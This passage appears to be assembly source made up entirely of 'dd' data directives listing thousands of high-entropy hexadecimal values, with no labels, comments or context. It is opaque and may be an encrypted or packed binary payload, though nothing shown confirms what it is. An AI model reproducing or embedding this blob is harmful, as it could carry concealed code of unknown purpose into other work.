0E9C47769h, 58BFA3A1h, 453656ADh, 0C1C2230h dd 0E01617E4h, 0E65BBD5Eh, 0B0B01E08h, 26CABEDAh, 0F8394C2Dh dd 0F6810329h, 3C04299Bh, 7F990C05h, 9C010944h, 395B7413h dd 422F1882h, 0C0D41957h, 0D5B0B773h, 26181629h, 85D95DE9h dd 0BF52C588h, 0E720BC89h, 32846190h, 0C9FD7C2Dh, 2AA7E9FEh dd 0CBAE7FD5h, 0F2007600h, 383F41B4h, 9ADD64E9h, 19A027BAh dd 0C98A34CCh, 0A53065FFh, 0B16C1657h, 1DB48837h, 3C138C24h dd 298DAD21h, 0FDC7F5C2h, 0E913E0A2h, 0F479E45h, 4B8FE830h dd 5F7BB2F1h, 0F6973BC4h, 68EB6184h, 0E969E01Ah, 5592D12Dh dd 37019594h, 68BD0EA7h, 477816D8h, 86705CC9h, 0FE20B502h dd 0C1D5F6CDh, 88031012h, 0EE9B5ABBh, 17588BD2h, 5801D497h dd 0C2B5CBE9h, 7FC7F50Bh, 1E877B0Ch, 79497559h, 0E15E2CCEh dd 0D3CD9DDFh, 0BD8E4322h, 31D02A16h, 0DF01ED81h, 0E926D302h dd 2089F532h, 2FD405ADh, 88598EA8h, 1AAD4A5Bh, 193966C4h dd 0D868EF9Ah, 9E755A27h, 7237984Dh, 4F28F70Ah, 4F0FAA5Eh dd 0A42F8506h, 1780B2AAh, 0D88C680Ch, 42015538h, 97A2C0E0h dd 0C648397Fh, 2F1DB92Fh, 0DD4BE2A4h, 0CC58DE51h, 2A5181D8h dd 0B81C79BDh, 46122270h, 6B04BF4Fh, 100EB33h, 0D2B951CBh dd 0FD53033Bh, 4B271327h, 0B5FACC29h, 0E903610Ah, 11342FAFh dd 0F9226682h, 35B828DDh, 0FB5A628Fh, 0C192390Ch, 48683956h dd 0A5C0E9CAh, 0A0CCEFAh, 9D0DBE32h, 0B0567F1Bh, 3E154342h dd 10004837h, 2D2B6F4Ch, 5125D680h, 275CD613h, 0BA00CCFEh dd 0BD44E50Fh, 0D665040Ah, 0EADD2993h, 95C926B2h, 0BD1D15F8h dd 73D32832h, 45216EA1h, 4E917AF8h, 9E1E82Bh, 0F91CE768h dd 1EAE8286h, 815D0364h, 0BA96827h, 95B30C05h, 17B4EB65h dd 90B75361h, 4E624B20h, 0A1A1F857h, 17833DA0h, 0D844FEB9h dd 0D8C0AADCh, 4A3709B4h, 16B1AC25h, 103075C9h, 96A59BAh dd 0D131D92Dh, 0A6852883h, 0DDB3FF84h, 0DF42EF4Bh, 0DEAD3EE9h dd 7858BB6h, 2679B477h, 0AF089AE9h, 8AB61EFDh, 62E259E0h dd 0BB5EA5E9h, 6DD8CA81h, 0F16E65DDh, 1EA227E5h, 3E967107h dd 39937E0Bh, 0FED6B49Ch, 0CCB682DEh, 0E6759F68h, 5E87F08Ch dd 26C4CC5Eh, 0C47B7841h, 55D20F7h, 822E7E28h, 5A258ADBh dd 146827CEh, 0E86043B1h, 0BA964BB8h, 30C1B439h, 0F4D0B1Dh dd 832CD8E0h, 8BED0CAh, 0B9007C19h, 7B071591h, 6ADAA031h dd 5A64B5C4h, 2B4B3EA0h, 77222F8Ah, 51C04BA2h, 28276857h dd 4075D027h, 2C071979h, 2DD71E2h, 570C1DC2h, 6C4F61C0h dd 2141FF13h, 4A269BF0h, 0A79DE897h, 5595AFC2h, 0B2FEFB1Eh dd 0E999065Ah, 12CA1864h, 0AE298C44h, 27E9CAF4h, 810A146h dd 311F9468h, 0D4C2270h, 0B5594686h, 448FBEC8h, 4279D425h dd 60070B13h, 3E29874Eh, 0E28249C1h, 39B431C8h, 3D5AAF5Fh dd 187358C7h, 274D21FFh, 0E02A0A63h, 4C738EA8h, 840BF9B8h dd 46E1821h, 0E912D607h, 2F985B6Ch, 86A92DE9h, 8D0864E5h dd 0B67D2571h, 22681430h, 54CBCF65h, 2F711CF5h, 8A5941E9h dd 5418F2BCh, 0AEFF67E6h, 98192FABh, 0EE6902D7h, 3D227D5Bh dd 812016C9h, 26130DF1h, 26F7C65h, 553E60E0h, 0A2913070h dd 0A15CC11Fh, 0DBFDC657h, 9605DD5Ch, 0EA111316h, 0F22E28B1h dd 4C12D07Ch, 0ABC24EB2h, 56D85C58h, 8C2BF795h, 97A9C4FDh dd 970B67C1h, 89E143C6h, 0E90EA51Ah, 251C1280h, 2C68C55Fh dd 4E1100Ah, 41F3BF57h, 0FD0911C1h, 0B7BBFCF4h, 680160BAh dd 0C38A48C1h, 0D06E8A0h, 5E589416h, 0A019D409h, 4D202DD1h dd 84614AA0h, 25071F38h, 5D847F5Eh, 44BA6B68h, 8DD0D531h dd 0A55D2571h, 0C6E55707h, 8BE6D9A5h, 82E17CE9h, 3CBE2FBAh dd 5A4A5907h, 0A750BF9Dh, 7D553CE1h, 0D9F7282Dh, 36303E85h dd 43810E1Eh, 5A1453D0h, 70160C07h, 0E7C032E2h, 505B6982h dd 2576CD21h, 41581227h, 0DC4C4297h, 0A7D1C9F0h, 5C9C934Fh dd 582C0A5Ch, 10BEC828h, 2FF05BABh, 1D872F10h, 0F1810AFCh dd 5C136986h, 5329D0DBh, 0F76B136Eh, 0C7E409D1h, 3CF5CA26h dd 0CE668912h, 26D651Eh, 495368A4h, 0BC3A5408h, 0F6E9F01Dh dd 0B87FE191h, 8EFEB4E3h, 49FB5EE5h, 0BD802DB6h, 51485310h dd 277B5648h, 2A3ED38Ah, 5B9AA36Fh, 93A98B18h, 0E98903BEh dd 685AEDBAh, 9010D4A8h, 0C5800975h, 678EFF44h, 4A33D40Bh dd 8A9ECF0h, 4749E55Fh, 0FE7C25DCh, 4E2ACCA1h, 61C5F7A3h dd 0B96C84D9h, 41FA9259h, 56FC288h, 0EA092049h, 3A248002h dd 40D2F716h, 3926381Dh, 51133FE9h, 85F6EDA6h, 4DB730Ah dd 56C9AE4Bh, 30FD620h, 0E939DB6Dh, 0AC4AE5FDh, 0A70137FDh dd 1E77BE3h, 452CDAh, 3E9073C9h, 2E31302Dh, 4C7F11h, 6B3A2A4Fh dd 869539E9h, 1CA85A09h, 5268D387h, 5B5B337h, 17B26318h dd 705C9EC2h, 656677A4h, 0AE01BE80h, 0E1DA72C2h, 0E13BC3B1h dd 33E16AF5h, 2830A06Ah, 13BAD557h, 5FBF1EDh, 0B838687Eh dd 0CEB2C0E0h, 16D08850h, 416EB8E9h, 0C012BFD2h, 0E8E47A10h dd 3A6C3DCDh, 0BAD46A8h, 0E0EB35B0h, 667C00E2h, 3C45C10Ch dd 0AD68125Ch, 0D6A0E82Dh, 0B710F706h, 852507C8h, 0A50EA053h dd 415C9211h, 0E8C31BE2h, 6F8071D1h, 2E799DCEh, 449502EEh dd 6518F666h, 9300536Ah, 8090B450h, 0EE785EF4h, 0DCF69F04h dd 88C93D80h, 505873E6h, 27E9A3F3h, 0D571AF8Bh, 104AC93Ah dd 0BA026AEDh, 1F5F401Bh, 23453140h, 57207900h, 0F7685253h dd 0E4A99015h, 202DF5EBh, 5A351210h, 84A991FCh, 0CFB7E9BDh dd 403C34B9h, 0FC5A9E58h, 100394BBh, 8012E2C5h, 83230ACDh dd 39DF2DB1h, 0DACEEF63h, 0A63425D6h, 15C38AA0h, 23DFF11Ch dd 1D9737BDh, 0B2187DD0h, 27AB06Dh, 127377D0h, 80020C8Bh dd 77E94476h, 34F52486h, 0E21D1727h, 73E9128Fh, 0C43073E5h dd 45C60A08h, 3083BDDh, 377E65EFh, 4C006CC2h, 2D2FD033h dd 2AFE7C29h, 28340C68h, 2C001C29h, 6FCAE95Fh, 3761756Fh dd 42545736h, 89DCB9BFh, 5D85BB01h, 2E9282Bh, 0F368436Ah dd 3BE344C0h, 3E7CA1D9h, 0E03F188Dh, 774FA67Ah, 5E0C6730h dd 735A490Dh, 29A33717h, 0ACB03AA5h, 0DD8ACF4Eh, 2D1300F7h dd 2944529Eh, 72030BEh, 6851F29Ch, 8A3E07EDh, 0F7E912E3h dd 22FA9953h, 0A0DF1F02h, 3048B958h, 1F557657h, 0C967DBBDh dd 64DFEB4Bh, 156E3548h, 0A2B3BF58h, 4BC69E40h, 52002282h dd 3990AE6Ch, 78F3075Fh, 5A5F9350h, 0C4B5E87Dh, 45FAFA58h dd 0CD5E11DCh, 0A81C967Ch, 0B41FC8EEh, 7F3D676Bh, 72E0EA0Eh dd 88511F22h, 0D14EA5B0h, 61642EC2h, 68CC02D0h, 55D1B805h dd 0FA2BD16Dh dd 4FC01352h, 0C24BDE87h, 0B8A0E906h, 5FFA9648h, 0BFCFCC95h dd 0A21A20C5h, 2FA9FC9Dh, 0AB9B1957h, 48CA6Eh, 34685351h dd 0BA73E137h, 0B74B4AF3h, 62F84EA1h, 2348FC0Eh, 9D0301D6h dd 2B6C3D99h, 9C121A4h, 23DD1644h, 88BA875h, 0D9E05F16h dd 582E649Bh, 2F59C788h, 0A9927429h, 9820A5F2h, 0FE580342h dd 1CC680CEh, 241F1ED9h, 0E0A1EB44h, 5F4428CAh, 0EB036CABh dd 7F6584Dh, 1AD93F10h, 44A845A5h, 0A6F03017h, 61FA5BC7h dd 3541708h, 520CA80Dh, 62D3D02h, 0E070E093h, 0FD4F08EDh dd 0B51083E3h, 1368123Bh, 798745FEh, 368BAE4Ch, 0BB5B9D59h dd 59D22E67h, 8BBE5954h, 9C3326F5h, 43397AB8h, 0C16A0E95h dd 580FBC01h, 0BE39C53Ah, 1278DAC0h, 0CB7058C7h, 1B3B9802h dd 0DBD94E50h, 0D9398A3Ch, 41029D2Eh, 5532A317h, 0C07F90C2h dd 90CE31BAh, 2A7241B6h, 38C3C281h, 7179A826h, 32A254Dh dd 0D412D2D1h, 45D5449h, 1BC10762h, 1F44E04h, 0CE73B58Bh dd 0E2E95C40h, 52A5942Ah, 3C3D8Ah, 253727F1h, 7649B6E9h dd 0FAEF71CBh, 0E533687Dh, 76227B6Fh, 0ABF5057Eh, 0AE3A6872h dd 76016116h, 928AE248h, 577C852Fh, 0F4BEE15Ah, 7EB07C4Ch dd 0E90DB761h, 0DC6B7A86h, 85F8F049h, 432725Bh, 0BDF9A09Fh dd 60CF3AFDh, 4B737E57h, 60BD104Ah, 2E5DCE76h, 23174BFh dd 72D37C94h, 0FDF6C2F5h, 0E2BC6F1Ch, 0E98BFA48h, 28EF83Dh dd 0E8547FBAh, 9BC22151h, 3A5D9A61h, 680BBDCEh, 3DE6D2Ch dd 9D5AE958h, 65B7E170h, 0AE5F17B0h, 66AF758Dh, 0D9E9E771h dd 52820AD1h, 3E254F28h, 0A1AE93Dh, 8DD2229Ah, 0F57CC101h dd 3D216A63h, 108CE22Bh, 94FBB67h, 0B15F0208h, 9774A91Ch dd 7D270B35h, 69F06CC0h, 5D5A43B0h, 805F3EE7h, 0AC2A42B1h dd 300C4C5Ch, 8AE90D3Eh, 979BAB2h, 5E870550h, 318B5FEh dd 39F28107h, 0FE247C11h, 599410EFh, 0D4EA966Ah, 0C3798399h dd 0F6ED0781h, 76DE8860h, 254AD607h, 0F2AB32E5h, 75895BDh dd 4E9C0D0Fh, 0F935805Dh, 0BDD58EE9h, 7D899FE1h, 65207B5Eh dd 55435C82h, 96842D38h, 0EEDA29FAh, 53F29860h, 6ED525BBh dd 0B5FACAF0h, 0C81296DCh, 0DC46A3F5h, 26DE1426h, 0F304C64Dh dd 810D6A22h, 6229C9h, 2740DDBAh, 4158324Dh, 240DAE3h dd 65303330h, 0CBE9171Bh, 0A5D8B9BBh, 96A69D79h, 28518108h dd 717F0AC4h, 0C0E35F98h, 3E45CDBFh, 0FD217A16h, 9100C665h dd 0B7E7BEB8h, 0ECEA4B01h, 4E07B6E4h, 8F69EA57h, 0F33075E2h dd 9B5DFE9h, 479E550Dh, 0B254E2E1h, 98011882h, 6915603Dh dd 0F3487353h, 29562C2Fh, 131408BDh, 1FC7283Fh, 0A3E65A4Fh dd 18E8F826h, 85ED671Dh, 0F4BB5028h, 4DD5E04Bh, 7ED7F5EAh dd 52A0ACECh, 5D4A41E9h, 192BBF9h, 8C2C9A56h, 0C3A86A27h dd 25480841h, 0F9124EBBh, 3896855Dh, 0A7E47AD9h, 0EB51C00Bh dd 139709D7h, 3E2A81A0h, 556F6517h, 250D750Ch, 5C20FC3h dd 9E646945h, 7937E341h, 0A075482Fh, 52095581h, 354CC010h dd 497F2503h, 2627E910h, 0B413284Ch, 0CD4F6063h, 6C486E09h dd 27E7013Eh, 0D32171F2h, 7B672C8Ah, 54566CFAh, 32C33B12h dd 9C6BC9E8h, 0CCB5C2DEh, 0EACE57EFh, 0C6256C05h, 8CA741AAh dd 83446219h, 1A5934A6h, 4E982731h, 57E99BF4h, 5F0E0272h dd 166C2A68h, 64299FBEh, 68035F4Ch, 0D871AE3h, 6CBF3AE3h dd 0E5FE9F5h, 4A7B22E4h, 0EAD88C7Eh, 0CDC19060h, 58DE6A0Ch dd 0C602ED4Fh, 21183D05h, 140169DDh, 973AD7FCh, 0D5A2A1E8h dd 24B83AC0h, 954AE36Bh, 782F3F79h, 5E0C8159h, 58D41A2Eh dd 2D5D6475h, 1BFC8538h, 6E9B0560h, 32477E09h, 535C82C4h dd 8C6DF475h, 134419BBh, 83FD5CC5h, 0DF018706h, 6BC5016Eh dd 0E9030E44h, 804F24AEh, 0D6BDEF79h, 4C700BA8h, 470B327Ah dd 0FD17C54Ah, 7FD39D48h, 110FC024h, 3C09111Ch, 0F5478AF0h dd 73504610h, 0C7DEBDDCh, 12E2B870h, 162341Ch, 5B57DA12h dd 87BC3F4Eh, 22260841h, 4F25BF50h, 0FA4E354h, 78DC1E7Ch dd 3011D034h, 685061D1h, 3C5E2370h, 192F44A8h, 2B54A641h dd 0E9A1A6FCh, 9FC57EEBh, 547228FBh, 434960FEh, 7A4B1022h dd 11620ADEh, 95CA4424h, 75728716h, 1840BEB5h, 0D156E1F1h dd 3340B522h, 16773D6Bh, 0F2E9295Ah, 48012D81h, 0A7E07E3Bh dd 0A807A305h, 5E7F658Bh, 34BFE6Fh, 517F0C09h, 9621FB4Bh dd 0A04F0C81h, 2889FD78h, 1F164FF2h, 4886DAFFh, 8E46253Eh dd 8DEE72A9h, 7C6FF50Dh, 0F6E64BFEh, 0EB83CB18h, 0BF04575Bh dd 4A3D440Bh, 25E98AB0h, 9148360Dh, 61FE4FECh, 81047A94h dd 0F8C3B9F6h, 920F9978h, 0B32D2881h, 20065E79h, 7D5CBFCAh dd 4A293B54h, 0D9136A9h, 585BDA09h, 39E7D355h, 0E5F14EA7h dd 0E2E15392h, 0E52EAD2Fh, 4873F2EAh, 972C201Bh, 0DA205FD8h dd 0C3FE1C4Dh, 6D89A80h, 286AB460h, 4F6BD197h, 327ED586h dd 75C83127h, 7B6989C5h, 6348028Fh, 0CC753551h, 69A41956h dd 72EDC640h, 0D5291213h, 0FBE08C05h, 501762A2h, 3989405Bh dd 0E96ACC62h, 6EC0DB5Eh, 0AE45ED80h, 0D4B2257Fh, 26C06550h dd 643C75BEh, 0E17903Dh, 56BA1858h, 5CAAE6C1h, 41272C09h dd 3A82FCD7h, 687B3B05h, 68FF3189h, 0E998570Ah, 0E4083901h dd 8A3EE961h, 6895317Fh, 20AD7B30h, 8297BD4Fh, 512F22E9h dd 76253C83h, 0DDF76F82h, 23F41AD8h, 4D53E49h, 75D512AFh dd 0B46E0E1h, 4FAC74BCh, 0CF0BC2Eh, 0ACE2CE73h, 355E00F0h dd 12EF2F02h, 584EC129h, 3B429A1Dh, 5F45F213h, 5EA5C4F4h dd 1E7F2FD6h, 0F6DEB594h, 4E47E9D8h, 0D34C9121h, 14903F6Dh dd 7FDD6EC8h, 5DEA2D46h, 4A4A39D8h, 0BC06C180h, 89910548h dd 0FA67E9D0h, 0F5EF3449h, 0E93B1E28h, 215FA000h, 4C26E9D8h dd 5660BD3Ah, 2C6A2368h, 2552806h, 114A42CEh, 0F3C22960h dd 8F8E93DDh, 73BB1771h, 0E2EFF629h, 94FF0A08h, 0B978BD35h dd 312824Eh, 0D58454F8h, 0EF28ABFEh, 0D73D54E0h, 0EE4ED359h dd 854E028Bh, 0DA8BBAE1h, 63060501h, 3B2D0A1Eh, 0F21602E9h dd 56DAEB56h, 7BAECD5Ah, 0FA4B2FBDh, 0A73FAB39h, 2DBB4AC0h dd 759C0239h, 385BA8DAh, 5809B345h, 317B56F1h, 2FCE8903h dd 2482F124h, 5A6BC87Ch, 6D6D9556h, 0F37E8E8Bh, 0BC97BDFBh dd 2B3AA157h, 0E91B3CFFh, 5275552Dh, 1A4BBFC4h, 88C9ABB5h dd 0C19ADD01h, 0CC8A1D05h, 0BA3343FCh, 34C5F0Fh, 5C3F6457h dd 9F235AAh, 85D15869h, 67457406h, 2A52000Ch, 0DD011DBCh dd 70480BE9h, 1968C4F7h, 7BF1CDAAh, 74808DDDh, 4ACC08AAh dd 0DD40FEE9h, 64C72C80h, 0B2E62C6Bh, 0D0F62290h, 51DBF600h dd 3980D5B1h, 7BFE01C1h, 49D17435h, 0D01EBA99h, 514ACBEFh dd 95539C55h, 0FD1D57B0h, 0A53CF197h, 58B299FFh, 0C4C5AC3Eh dd 6CA4BB18h, 89651D9Bh, 74C98172h, 3A210259h, 26CE6E4h dd 0E99A669Fh, 59DFCEACh, 28AE8BDDh, 3962525Eh, 908C4652h dd 0B51F733Dh, 89EC6CCh, 9B05273Ah, 72BFA285h, 42099E10h dd 0DEB85F62h, 5C814C50h, 0D6B4B87Fh, 4F68932Ch, 176EF625h dd 9DF23FF6h, 0BA0FD035h, 0A316A2A2h, 88B62D60h, 49C237Bh dd 0F36FC368h, 18101BB0h, 991AE837h, 29AA5C1Eh, 0EB495A2Fh dd 88E915AEh, 23668C2h, 81604871h, 275569E9h, 3743632Ch dd 0EA081795h, 8B6ABA8Dh, 40D727FEh, 128BBF91h, 9462F55h dd 69D1227Bh, 0F9442E9Fh dd 68033176h, 3F163F65h, 0D7BE914Ch, 64742B34h, 4BE5896h dd 1249FD85h, 0CF0626FCh, 0E8346E3Dh, 4A203238h, 25122EABh dd 9024DA35h, 486929F1h, 4A5E9E85h, 69B4435Ch, 0FF25BA7Ch dd 0D3770832h, 0EB6B641Dh, 6A5964FDh, 0BB2DABB5h, 0CB26E83Bh dd 816660DEh, 575B0EE7h, 0F7C11FC9h, 0E6D34845h, 297789F7h dd 7E4F29D1h, 7461004Ah, 0CB810C11h, 0B8450203h, 4AD3F76Ch dd 0EA39A004h, 0BE480D13h, 21E40BEBh, 89781EE0h, 55545D82h dd 282AB260h, 0D678B7D1h, 17C3E126h, 656C01Dh, 15B74FBAh dd 3359E3A7h, 5686A3EBh, 0BE47919Eh, 0D063440h, 38A0C14Eh dd 8225DF2Eh, 45351D8Ah, 9E617F49h, 0C05938A3h, 0C71C90B9h dd 5B6EFA21h, 7B8BB73Dh, 5181684Bh, 0BC6BEE88h, 0C9138443h dd 271D3503h, 0C7D167FBh, 43206F93h, 9F04E846h, 64520C7Eh dd 0E464F4Bh, 0DD005A17h, 5A1685Bh, 2FB0669Dh, 0DFC67E4Bh dd 61C31924h, 5AE75AA5h, 4A20CE5Fh, 4A59CEEFh, 87272EF2h dd 94563C7Fh, 6F6450D0h, 6C94C082h, 62AB2C53h, 0D681A31h dd 0CAEBD141h, 0D7C00B57h, 0E9279BBEh, 0F6A5017Ah, 2E6E52D5h dd 1C4B5C30h, 0DE93EB88h, 108436E9h, 4A978A7Ch, 621022E3h dd 93B61654h, 0E11620Bh, 0B2EFAEBBh, 0BDE73E03h, 0F6A1F852h dd 4A1CB8D6h, 5B4CB466h, 6C0F2D90h, 0C534C74Ch, 0DB908952h dd 0B0FB87D7h, 0EF094468h, 56ED0145h, 825717A5h, 0A97D3037h dd 0A698F4E2h, 0FAA0928h, 879A187Fh, 3FE6BD7Ah, 75382412h dd 0B780DCC7h, 184CA5EBh, 125EF131h, 3628206Dh, 723C990Bh dd 184DB008h, 4E542D26h, 41BBB919h, 141CA008h, 31E95339h dd 5EF0EB02h, 8765EA2Fh, 8C3612BEh, 474114F0h, 0F14EC341h dd 0EE1D6801h, 0CA000C8h, 3F0C52B3h, 3C6424B3h, 0F4120288h dd 0FB9E9046h, 3C48AC4Fh, 0EBD94ABDh, 0E123A92Eh, 4781FD27h dd 8DB7BEEAh, 505C3FAFh, 0AA347925h, 0A6DD957Ch, 9581B40Bh dd 837C2B09h, 0EF7ABD02h, 3C8E8013h, 52F4FF1h, 0EE9F231h dd 0CAED4015h, 0D2C6BDDh, 7D85DBA1h, 66A95FEDh, 9A5E8FC1h dd 122F700Bh, 4D09489Fh, 28EB2E55h, 0F8C41753h, 7D2DA185h dd 7B2BCD6Bh, 5E3BE5BDh, 4B2DC0CFh, 235AC25Dh, 712E2C4h dd 8BAA0113h, 0F1285A81h, 0CE9C31h, 1D305AB8h, 0EF750D03h dd 2552F300h, 58FE6EC8h, 5840B2Dh, 0D40F2BCAh, 0E2828909h dd 0E6FF6C81h, 0BFE92F30h, 8356E662h, 23943702h, 32C0F7B1h dd 8D4EE951h, 0B4D5C24Ch, 337613EEh, 599041Dh, 8858027Ch dd 0E8264003h, 0A0BE8045h, 61930E48h, 8C4B9856h, 96608147h dd 4D31DD1Ch, 0BF7286E9h, 0FA5BF17Ch, 0EA2CFE45h, 539D0BD3h dd 44CFEFFCh, 0CFBA6703h, 0E483261Bh, 0C09C192Ah, 0DB041C64h dd 2DAD000Dh, 48A95BAAh, 18170005h, 23DA6056h, 55725D63h dd 27E5810Eh, 0D700121Dh, 0C93FE4C5h, 3CF5F878h, 0DD7F35E3h dd 57F68418h, 0BC1BEFDh, 5153977Eh, 0FC0D9868h, 0E7FC9578h dd 58357E58h, 0EA05C521h, 0FFED03FAh, 0EF40EBA0h, 98CC1FAh dd 60400DA7h, 5925E942h, 276B9439h, 0DD9CD1F5h, 784E1DFCh dd 0F4F520E8h, 7A9CF683h, 3DEDF525h, 41712C11h, 6CF53F44h dd 4C9DBC2Eh, 78D889BBh, 0EABB0450h, 0C332480Ah, 65E47BDh dd 0CD077BBDh, 605CF329h, 0A111C6E3h, 3A180460h, 0CF097971h dd 2C6091FCh, 38CDE901h, 0F9F5C3C0h, 606BC060h, 58E70E45h dd 0E9276805h, 330C41D7h, 86A7D3BEh, 39FA1972h, 6130BB2Dh dd 0CF15743h, 0D69CF22Bh, 0EE01CDB9h, 0FEE9EF77h, 3137A64h dd 5BA59FEFh, 2468D098h, 0C2067CC1h, 81513E4Bh, 55269D80h dd 9BE5654h, 3F416FBh, 9A4FDAF5h, 2B9D0B11h, 248021F2h dd 907CE955h, 8E62D8B4h, 97ECFA67h, 4D741260h, 0F1815C4Bh dd 0BC6AD5F1h, 1987E6DFh, 1049B6E9h, 2D296031h, 444E5300h dd 0E5C3543h, 4048007Dh, 2E104705h, 0E327E96Fh, 0FDFB2919h dd 0A4214042h, 4878FF68h, 674B5E2Eh, 569392BCh, 0EE97EB0Bh dd 0C206EFA3h, 2D9A49A6h, 486FF82Ah, 667C25D9h, 817CB7CAh dd 0D358E74Fh, 64BBF2FFh, 0E6B1AAF7h, 0B552B82Eh, 5090CAFBh dd 5195B394h, 0C152E592h, 2C5FE95Ch, 0E0BF400Ch, 0D32674FBh dd 48962A98h, 0ED1C5218h, 0E05F823Bh, 251BB192h, 8F05C9FEh dd 0AADE8166h, 0E887534Bh, 8CEF94BFh, 493D1E4Fh, 5F9AF309h dd 0F4D4BD4Eh, 73F8ECBFh, 7803299Fh, 0ECF02F47h, 832EBAD2h dd 1182F7C6h, 0FF25BC6Eh, 0FC680C01h, 0E7023426h, 0B68E6A4Bh dd 3D67BA5Bh, 0BEA21314h, 80E14F73h, 0ED2693A6h, 4A275AE0h dd 1CCA5550h, 2EE6097Dh, 42B177E3h, 7B59CD40h, 63988Dh dd 0CF1AC2C5h, 0D480E977h, 0E597ACBAh, 0C7DBAF6Ah, 2449BD0Eh dd 0C7C06676h, 5B48307Bh, 0CC05F05Bh, 0E8498260h, 171CD22Dh dd 0A85D2F18h, 64F21691h, 5BF7F0C8h, 27F0D8D5h, 41702A0Bh dd 0CBEBF121h, 0FFF04140h, 6208E925h, 0D59F577h, 70FE5166h dd 0B42E194h, 91A6535Fh, 25D15A02h, 377A403Fh, 2F684122h dd 0E921E225h, 76817991h, 381FE5BAh, 0B9136023h, 2002B024h dd 21EBBF0Ch, 167B045Eh, 0FBEAD143h, 0E0531701h, 6B74810Dh dd 319A0CB5h, 0E55B8BCAh, 77885040h, 5F6A2DFAh, 0D0A8AC7Fh dd 1C1609B9h, 427DF48Ch, 18F9400Ah, 0EFE6B552h, 0B7F0649Fh dd 73A5AFE7h, 0D0E984CAh, 48FCA790h, 2728583Ch, 501D56C0h dd 719FA639h, 80268884h, 0AD5B027h, 4C79518h, 66D8B500h dd 0BFFB050h, 28E5C580h, 0E3DE63FDh, 2B140F58h, 0E881B004h dd 2A101E68h, 0F3F36FCDh, 2CF0F199h, 0F9EC77D2h, 6A02C64Eh dd 6C1FFB68h, 8055FC7Bh, 0F679F281h, 0E1599724h, 0ACE4EA13h dd 0DF4749E9h, 37875C1Bh, 32764BF2h, 6CA5D669h, 6C9E5D0Fh dd 9C94B05Ch, 0FA5913A1h, 59E92038h, 5F13A881h, 128EBF5Dh dd 1444065Ah, 0CA75DF59h, 0F32D5F79h, 4D947DB0h, 0EAE48A99h dd 0A2B1FAD4h, 20A3A56Ah, 9C5F7C6Fh, 3151AAB1h, 0AC07436Ah dd 0D854C40Eh, 4806EDA3h, 5975A053h, 7DF6BD0Eh, 30646152h dd 0B8C17392h, 890226C6h, 0AA0B8417h, 0E0580011h, 0ED263627h dd 0C3D099FDh, 0A60CC118h, 0B4778E54h, 81A287Ah, 4C140C0Ch dd 6B3718A5h, 3B548628h, 5E75232Dh, 3C9440CFh, 0CDFE324Ch dd 582CBF0Ch, 2211829h, 0E9EA367Bh, 19F50497h, 0CA287046h dd 6516AE4Fh, 0EE9340A2h, 6206DC0Bh, 0E9B67DFEh, 553032B7h dd 0CD09DA74h, 935322F5h, 599AFD2Ah, 466AF500h, 7ABF6506h dd 233E0AF2h, 14B46D85h, 624B07C1h, 0CC50A8DEh, 6A5397h dd 5D346850h, 584C57E4h, 5C6138Ah, 0B26E77EEh, 46D57BB5h dd 2E587A1Bh, 60BE6737h, 1D2FAEB6h, 210DC1B5h, 4A33CB6Ah dd 0FA6394BAh, 8AE1A8B8h, 7CA17DD6h, 0D0AE510Bh, 939F929h dd 0F5F47321h, 0EA684A60h, 6086B640h, 34EF380Bh, 0CA9F6890h dd 0E825DD1h, 5C02D322h, 1FD35452h, 6D6B402Ch, 6C44F935h dd 8A497F7h, 0CC0A00BAh, 89DCF0D3h, 0BA21C741h, 3D2AFF25h dd 5FAB2E77h, 31BF81F5h, 0EC6DA253h, 7AC09A9Dh, 0ED33C8B8h dd 0C32924E1h, 5BD80535h, 0F08EC456h, 0D105F66Fh, 0C480CC86h dd 4D636381h, 30596600h, 0DC58C63Ah, 2D3F3854h, 69B651C8h dd 0FB3F7C25h, 41D6692Ch, 0A2C03FCAh, 2F109278h, 3DC7F331h dd 395DC80Ch, 1D69966h, 2620CAF1h, 34E96E0Bh, 0C8020E05h dd 9A428303h, 854D07A1h, 2D2FE118h, 0FDC903C0h, 480B3D30h dd 0A3108E93h, 545616E3h dd 0E96360AAh, 0A9C16D3Dh, 9B0FE7CDh, 5725DAE7h, 9E7D220Bh dd 1AC887E4h, 3FC3351Dh, 2E5D4E0Ch, 5D61880Ah, 0C3304574h dd 305ADEBAh, 7A4DC197h, 1B2D613Fh, 0C0403ECCh, 2F1E29EFh dd 0FB48F80Eh, 46FE22Eh, 0BFEAE30Ah, 5CAE0382h, 0CC569C43h dd 0E68CADF5h, 18E7C180h, 78535503h, 12257AFAh, 5E65E1D1h dd 21760B7Fh, 0F1151A75h, 258E422Ch, 270BDA0Ah, 779B9A75h dd 0FEFC99E6h, 0DCDD5D5Fh, 7840CD3Ah, 0A1E90DFBh, 0FD204541h dd 17EA852h, 17688081h, 9E2AF9B7h, 2EE4052h, 815A3947h dd 0FD3CA00h, 0FCE94588h, 2FBEBB53h, 0CB4EB0D5h, 40FE9859h dd 32BD2952h, 317259ABh, 6E5D5408h, 13201700h, 25E94E8Bh dd 53C94B15h, 28FF2F05h, 744C686Eh, 33EFD615h, 3625551Eh dd 54C6614Fh, 0E64CE86Bh, 952CCB8Dh, 19BD1AA0h, 5D4FC71Bh dd 5AF644F2h, 521CD990h, 0DEFCC82Eh, 0A0D7F6B2h, 4D043D6Fh dd 9442E925h, 0DFAFA2BBh, 0A5725C8Bh, 0FC08D2BFh, 2DFC6FEEh dd 0B5511082h, 743C0DC1h, 146F790h, 0F680C904h, 3685BFF5h dd 4FAA2CAEh, 0F602F891h, 0D4B572FEh, 607B039Fh, 0B22C43F0h dd 5413402Ah, 24E99602h, 0FDEEA57Ah, 0BBE8B484h, 5190288Eh dd 40FA3A78h, 806DB6AFh, 0C018C7C6h, 2E0C04E6h, 5AF10930h dd 6F8FA32Ch, 6559127Dh, 0A01EFA0Dh, 0D4F28043h, 4FB396E9h dd 8012942Dh, 0B753FBBCh, 0BEB10D4Eh, 0D8B2Bh, 95274EBh dd 9C8FE943h, 65B9278Dh, 0BA126A97h, 0B5CBE1C1h, 13B7CB48h dd 135CF63h, 833D6D6Ch, 4F78300Bh, 1DF25910h, 0F745B406h dd 2B0D0C54h, 3C2F616Dh, 656CEDD0h, 0BAF554F9h, 0A6AA7313h dd 819E945Fh, 7C2857FBh, 3A0EC26Eh, 5E5F256Ah, 43687040h dd 0A9222C4Ah, 0FC9EC352h, 0C7190512h, 0EA7FAAEh, 2D4E5610h dd 68424821h, 0A97C4EE6h, 6468B780h, 97978157h, 27FE04D4h dd 0E809A46Fh, 0FCBC4E82h, 0FA2FB8DCh, 